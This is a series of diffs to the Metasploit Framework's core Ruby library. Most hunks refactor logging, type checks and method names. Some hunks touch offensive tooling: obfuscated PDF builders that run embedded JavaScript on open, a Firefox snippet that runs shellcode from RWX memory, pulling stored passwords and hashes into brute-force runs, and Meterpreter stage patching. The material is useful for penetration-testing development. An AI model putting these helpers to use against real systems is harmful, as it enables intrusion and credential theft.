elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0)
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
else
mod.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.auxiliary.rb/
mod.print_error(" #{line}")
end
elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0)
end
elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
mod.cleanup
return
@ -182,4 +184,3 @@ end
end
end

View File

@ -18,7 +18,9 @@ module Buffer
# Serializes a buffer to a provided format. The formats supported are raw,
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
#
def self.transform(buf, fmt = "ruby")
def self.transform(buf, fmt = "ruby", var_name = 'buf')
default_wrap = 60
case fmt
when 'raw'
when 'num'
@ -26,29 +28,29 @@ module Buffer
when 'dword', 'dw'
buf = Rex::Text.to_dword(buf)
when 'python', 'py'
buf = Rex::Text.to_python(buf)
buf = Rex::Text.to_python(buf, default_wrap, var_name)
when 'ruby', 'rb'
buf = Rex::Text.to_ruby(buf)
buf = Rex::Text.to_ruby(buf, default_wrap, var_name)
when 'perl', 'pl'
buf = Rex::Text.to_perl(buf)
buf = Rex::Text.to_perl(buf, default_wrap, var_name)
when 'bash', 'sh'
buf = Rex::Text.to_bash(buf)
buf = Rex::Text.to_bash(buf, default_wrap, var_name)
when 'c'
buf = Rex::Text.to_c(buf)
buf = Rex::Text.to_c(buf, default_wrap, var_name)
when 'csharp'
buf = Rex::Text.to_csharp(buf)
buf = Rex::Text.to_csharp(buf, default_wrap, var_name)
when 'js_be'
buf = Rex::Text.to_unescape(buf, ENDIAN_BIG)
when 'js_le'
buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE)
when 'java'
buf = Rex::Text.to_java(buf)
buf = Rex::Text.to_java(buf, var_name)
when 'powershell', 'ps1'
buf = Rex::Text.to_powershell(buf)
buf = Rex::Text.to_powershell(buf, var_name)
when 'vbscript'
buf = Rex::Text.to_vbscript(buf)
buf = Rex::Text.to_vbscript(buf, var_name)
when 'vbapplication'
buf = Rex::Text.to_vbapplication(buf)
buf = Rex::Text.to_vbapplication(buf, var_name)
else
raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
end

View File

@ -147,7 +147,17 @@ module Exploit
exploit.error = e
exploit.print_error("Exploit failed: #{e}")
elog("Exploit failed (#{exploit.refname}): #{e}", 'core', LEV_0)
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
else
exploit.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.exploit.rb/
exploit.print_error(" #{line}")
end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
end
end
return driver.session if driver
@ -199,4 +209,3 @@ end
end
end

View File

@ -62,21 +62,29 @@ module Framework
Msf::MODULE_POST => Msf::Simple::Post,
}
#
# Create a simplified instance of the framework. This routine takes a hash
# of parameters as an argument. This hash can contain:
#
# OnCreateProc => A callback procedure that is called once the framework
# instance is created.
#
# @param opts [Hash{String => Object}]
# @option opts (see simplify)
# @return [Msf::Simple::Frameworkt s]
def self.create(opts = {})
framework = Msf::Framework.new(opts)
return simplify(framework, opts)
end
# @note If `opts['ConfigDirectory']` is set, then `Msf::Config::Defaults['ConfigDirectory']` will be updated to
# `opts['ConfigDirectory']`.
#
# Extends a framework object that may already exist.
#
# @param framework [Msf::Framework, Msf::Simple::Framework] framework to simplify
# @param opts [Hash{String => Object}]
# @option opts [#call] 'OnCreateProc' Proc to call after {#init_simplified}. Will be passed `framework`.
# @option opts [String] 'ConfigDirectory' Directory where configuration is saved. The `~/.msf4` directory.
# @option opts [Boolean] 'DisableLogging' (false) `true` to disable `Msf::Logging.init`
# @option opts [Boolean] 'DeferModuleLoads' (false) `true` to disable `framework.init_module_paths`.
# @return [Msf::Simple::Framework] `framework`
def self.simplify(framework, opts)
# If the framework instance has not already been extended, do it now.

View File

@ -121,17 +121,19 @@ protected
rescue ::Exception => e
mod.error = e
mod.print_error("Post failed: #{e.class} #{e}")
if(e.class.to_s != 'Msf::OptionValidateError')
elog("Post failed: #{e.class} #{e}", 'core', LEV_0)
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
else
mod.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.post.rb/
mod.print_error(" #{line}")
end
elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0)
end
elog("Post failed: #{e.class} #{e}", 'core', LEV_0)
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
mod.cleanup
return
@ -154,4 +156,3 @@ end
end
end

View File

@ -72,6 +72,9 @@ require 'msf/http/wordpress'
require 'msf/http/typo3'
require 'msf/http/jboss'
# Kerberos Support
require 'msf/kerberos/client'
# Drivers
require 'msf/core/exploit_driver'

View File

@ -49,6 +49,47 @@ module Auxiliary::AuthBrute
@@max_per_service = nil
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'ntlm_hash'
#
# @yieldparam [Metasploit::Credential::Core]
def each_ntlm_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'password'
#
# @yieldparam [Metasploit::Credential::Core]
def each_password_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'ssh_key'
#
# @yieldparam [Metasploit::Credential::Core]
def each_ssh_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Checks whether we should be adding creds from the DB to a CredCollection
#
# @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
# @return [FalseClass] if none of the datastore options are selected OR the db is not active
def prepend_db_creds?
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
@ -56,10 +97,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_hashes(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
if prepend_db_creds?
each_ntlm_cred do |cred|
process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
@ -72,10 +112,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_keys(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
if prepend_db_creds?
each_ssh_cred do |cred|
process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
@ -88,15 +127,27 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_passwords(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
if prepend_db_creds?
each_password_cred do |cred|
process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
end
# Takes a {Metasploit::Credential::Core} and converts it into a
# {Metasploit::Framework::Credential} and processes it into the
# {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process
def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS']
cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS']
end
# Checks all three files for usernames and passwords, and combines them into

View File

@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),

View File

@ -12,6 +12,38 @@ module Auxiliary::Report
optionally_include_metasploit_credential_creation
def create_cracked_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def invalidate_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
# This method overrides the method from Metasploit::Credential to check for an active db
def active_db?
framework.db.active
@ -125,13 +157,102 @@ module Auxiliary::Report
framework.db.report_note(opts)
end
# This Legacy method is responsible for creating credentials from data supplied
# by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead.
#
# @param :opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
# @option opts [String] :proto Which transport protocol the service uses
# @option opts [String] :sname The 'name' of the service
# @option opts [String] :user The username for the cred
# @option opts [String] :pass The private part of the credential (e.g. password)
def report_auth_info(opts={})
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
return if not db
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_auth_info(opts)
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
if opts[:host].kind_of?(::Mdm::Host)
host = opts[:host].address
else
host = opts[:host]
end
type = :password
case opts[:type]
when "password"
type = :password
when "hash"
type = :nonreplayable_hash
when "ssh_key"
type = :ssh_key
end
case opts[:proto]
when "tcp"
proto = "tcp"
when "udp"
proto = "udp"
else
proto = "tcp"
end
if opts[:service] && opts[:service].kind_of?(Mdm::Service)
port = opts[:service].port
proto = opts[:service].proto
service_name = opts[:service].name
host = opts[:service].host.address
else
port = opts.fetch(:port)
service_name = opts.fetch(:sname, nil)
end
username = opts.fetch(:user, nil)
private = opts.fetch(:pass, nil)
service_data = {
address: host,
port: port,
service_name: service_name,
protocol: proto,
workspace_id: myworkspace_id
}
if self.type == "post"
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname
}
else
credential_data = {
origin_type: :service,
module_fullname: self.fullname
}
credential_data.merge!(service_data)
end
unless private.nil?
credential_data[:private_type] = type
credential_data[:private_data] = private
end
unless username.nil?
credential_data[:username] = username
end
credential_core = create_credential(credential_data)
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
def report_vuln(opts={})

View File

@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress
end
def rfc3330_reserved(ip)
case ip.class.to_s
when "PacketFu::Octets"
case ip
when PacketFu::Octets
ip_x = ip.to_x
ip_i = ip.to_i
when "String"
when String
if ipv46_validator(ip)
ip_x = ip
ip_i = Rex::Socket.addr_atoi(ip)
else
raise ArgumentError, "Invalid IP address: #{ip.inspect}"
end
when "Fixnum"
when Fixnum
if (0..2**32-1).include? ip
ip_x = Rex::Socket.addr_itoa(ip)
ip_i = ip

View File

@ -109,10 +109,13 @@ class EncodedPayload
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders
# Fix encoding issue
# Make sure the encoder name from the user has the same String#encoding
# as the framework's list of encoder names so we can compare them later.
# This is important for when we get input from RPC.
if reqs['Encoder']
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
end
# If the caller had a preferred encoder, use this encoder only
if ((reqs['Encoder']) and (preferred = framework.encoders[reqs['Encoder']]))
encoders = [ [reqs['Encoder'], preferred] ]
@ -164,7 +167,7 @@ class EncodedPayload
if (reqs['ForceSaveRegisters'] and
reqs['EncoderOptions'] and
(reqs['EncoderOptions']['SaveRegisters'].to_s.length > 0) and
(! self.encoder.preserves_registers?))
(! self.encoder.can_preserve_registers?))
wlog("#{pinst.refname}: Encoder #{encoder.refname} does not preserve registers and the caller needs #{reqs['EncoderOptions']['SaveRegisters']} preserved.",
'core', LEV_1)
next
@ -236,6 +239,7 @@ class EncodedPayload
self.encoded = eout
break
}
# If the encoded payload is nil, raise an exception saying that we
# suck at life.
if (self.encoded == nil)

View File

@ -416,7 +416,7 @@ class Encoder < Module
#
# Determines whether the encoder can preserve registers at all
#
def preserves_registers?
def can_preserve_registers?
false
end

View File

@ -179,23 +179,23 @@ class EventDispatcher
if respond_to?(subscribers, true)
found = true
self.send(subscribers).each do |sub|
next if not sub.respond_to?(name)
next if not sub.respond_to?(name, true)
sub.send(name, *args)
end
else
(general_event_subscribers + custom_event_subscribers).each do |sub|
next if not sub.respond_to?(name)
next if not sub.respond_to?(name, true)
sub.send(name, *args)
found = true
end
end
when "add"
if respond_to?(subscribers)
if respond_to?(subscribers, true)
found = true
add_event_subscriber(self.send(subscribers), *args)
end
when "remove"
if respond_to?(subscribers)
if respond_to?(subscribers, true)
found = true
remove_event_subscriber(self.send(subscribers), *args)
end

View File

@ -224,12 +224,12 @@ module Exploit::CmdStager
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
case target_flavor.class.to_s
when 'Array'
case target_flavor
when Array
return target_flavor[0].to_sym
when 'String'
when String
return target_flavor.to_sym
when 'Symbol'
when Symbol
return target_flavor
end
end
@ -283,12 +283,12 @@ module Exploit::CmdStager
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor.class.to_s
when 'String'
case target_flavor
when String
return true if target_flavor == f.to_s
when 'Array'
when Array
target_flavor.each { |tr| return true if tr.to_sym == f }
when 'Symbol'
when Symbol
return true if target_flavor == f
end
false

View File

@ -78,7 +78,7 @@ module Exploit::Remote::FtpServer
return if not cmd
# Allow per-command overrides
if(self.respond_to?("on_client_command_#{cmd.downcase}"))
if self.respond_to?("on_client_command_#{cmd.downcase}", true)
return self.send("on_client_command_#{cmd.downcase}", c, arg)
end

View File

@ -87,7 +87,7 @@ module Exploit::Java
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
end
if compile_options.class.to_s != "Array" && compile_options
if !compile_options.is_a?(Array) && compile_options
raise RuntimeError, "Compiler options must be of type Array."
end

View File

@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
arch = arch[0] if arch.is_a?(Array) and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')

View File

@ -45,7 +45,7 @@ module Exploit::ORACLE
def check_dependencies
if not @oci8_loaded
print_error("Failed to load the OCI library: #{@oci8_error}")
print_error("See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage for installation instructions")
print_error("Try 'gem install ruby-oci8'")
return false
end
return true

View File

@ -30,7 +30,7 @@ module Exploit::PDF
#Original Filters
##
def ASCIIHexWhitespaceEncode(str)
def ascii_hex_whitespace_encode(str)
return str if not datastore['PDF::Obfuscate']
result = ""
whitespace = ""
@ -44,7 +44,7 @@ module Exploit::PDF
##
#Filters from Origami parser
##
def RunLengthEncode(stream)
def run_length_encode(stream)
eod = 128
result = ""
i = 0
@ -85,7 +85,7 @@ module Exploit::PDF
result << eod.chr
end
def RandomNonASCIIString(count)
def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
@ -93,7 +93,7 @@ module Exploit::PDF
result
end
def ASCII85Encode(stream)
def ascii85_encode(stream)
eod = "~>"
i = 0
code = ""
@ -130,7 +130,7 @@ module Exploit::PDF
end
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
def nobfu(str)
return str if not datastore['PDF::Obfuscate']
result = ""
@ -149,13 +149,13 @@ module Exploit::PDF
##
def header(version = '1.5')
hdr = "%PDF-#{version}" << eol
hdr << "%" << RandomNonASCIIString(4) << eol
hdr << "%" << random_non_ascii_string(4) << eol
hdr
end
def add_object(num, data)
@xref[num] = @pdf.length
@pdf << ioDef(num)
@pdf << io_def(num)
@pdf << data
@pdf << endobj
end
@ -186,7 +186,7 @@ module Exploit::PDF
end
def trailer(root_obj)
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
ret
end
@ -209,18 +209,18 @@ module Exploit::PDF
"endobj" << eol
end
def ioDef(id)
def io_def(id)
"%d 0 obj" % id
end
def ioRef(id)
def io_ref(id)
"%d 0 R" % id
end
##
#Controller funtion, should be entrypoint for pdf exploits
##
def CreatePDF(js)
def create_pdf(js)
strFilter = ""
arrResults = []
numIterations = 0
@ -233,10 +233,10 @@ module Exploit::PDF
end
for i in (0..numIterations-1)
if i == 0
arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
arrResults = select_encoder(js,arrEncodings[i],strFilter)
next
end
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
end
case datastore['PDF::Method']
when 'PAGE'
@ -251,19 +251,19 @@ module Exploit::PDF
##
#Select an encoder and build a filter specification
##
def SelectEncoder(js,strEncode,strFilter)
def select_encoder(js,strEncode,strFilter)
case strEncode
when 'ASCII85'
js = ASCII85Encode(js)
js = ascii85_encode(js)
strFilter = "/ASCII85Decode"<<strFilter
when 'ASCIIHEX'
js = ASCIIHexWhitespaceEncode(js)
js = ascii_hex_whitespace_encode(js)
strFilter = "/ASCIIHexDecode"<<strFilter
when 'FLATE'
js = Zlib::Deflate.deflate(js)
strFilter = "/FlateDecode"<<strFilter
when 'RUN'
js = RunLengthEncode(js)
js = run_length_encode(js)
strFilter = "/RunLengthDecode"<<strFilter
end
return js,strFilter
@ -277,10 +277,10 @@ module Exploit::PDF
@pdf = ''
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol
@ -301,10 +301,10 @@ module Exploit::PDF
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol
@ -324,11 +324,11 @@ module Exploit::PDF
@pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol

View File

@ -36,6 +36,7 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
%Q|
var execShellcode = function(shellcode, bytes) {
Components.utils.import("resource://gre/modules/ctypes.jsm");
var execPosix = function() {
var RWX = 7, ANON_PRIVATE = 4098;
Components.utils.import("resource://gre/modules/ctypes.jsm");
@ -77,7 +78,6 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
);
var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
var cstr = ctypes.jschar.array()(shellcode);
//var bytes = ctypes.char.array()(shellcode).length-1;
memcpy(buff, cstr, bytes);
/* there is probably a better way to do this */
var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);

View File

@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC
rpcobj.pport = arr[5]
end
def sunrpc_call(proc, buf, timeout = timeout)
def sunrpc_call(proc, buf, timeout = timeout())
ret = rpcobj.call(proc, buf, timeout)
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret

View File

@ -161,6 +161,11 @@ module Exploit::Remote::TcpServer
self.service.close
self.service.stop
end
if service.kind_of?(Rex::Proto::Http::Server)
service.stop
end
self.service = nil
rescue ::Exception
end

View File

@ -271,15 +271,21 @@ protected
exploit.fail_reason = Msf::Exploit::Failure::Unknown
end
elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0)
if exploit.fail_reason == Msf::Exploit::Failure::Unknown
exploit.print_error("Exploit failed: #{msg}")
exploit.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.core.exploit_driver.rb/
exploit.print_error(" #{line}")
end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
else
exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}")
end
elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
end
end
# Record the error to various places
exploit.framework.events.on_module_error(exploit, msg)
@ -329,4 +335,3 @@ protected
end
end

View File

@ -247,40 +247,20 @@ module ReverseHopHttp
print_status("Preparing stage for next session #{conn_id}")
blob = stage_payload
# Replace the user agent string with our option
i = blob.index("METERPRETER_UA\x00")
if i
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
blob[i, str.length] = str
end
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
blob[i, str.length] = str
end
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = full_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
i = blob.index([0xb64be661].pack("V"))
if i
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
blob[i, str.length] = str
end
i = blob.index([0xaf79257f].pack("V"))
if i
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
blob[i, str.length] = str
end
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
:ssl => ssl?,
:url => url,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxyhost => datastore['PROXYHOST'],
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
blob = encode_stage(blob)

View File

@ -2,6 +2,7 @@
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch'
module Msf
module Handler
@ -257,86 +258,28 @@ protected
})
when /^\/A?INITM?/
url = ''
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
# Replace the user agent string with our option
i = blob.index("METERPRETER_UA\x00")
if i
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
blob[i, str.length] = str
print_status("Patched user-agent at offset #{i}...")
end
# Activate a custom proxy
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
if i
if datastore['PROXYHOST']
if datastore['PROXYHOST'].to_s != ""
proxyhost = datastore['PROXYHOST'].to_s
proxyport = datastore['PROXYPORT'].to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if datastore['PROXY_TYPE'].to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
blob[i, proxyinfo.length] = proxyinfo
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
#Optional authentification
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PROXY_TYPE'] == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_password = datastore['PROXY_PASSWORD'] << "\x00"
blob[proxy_password_loc, proxy_password.length] = proxy_password
end
end
end
end
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
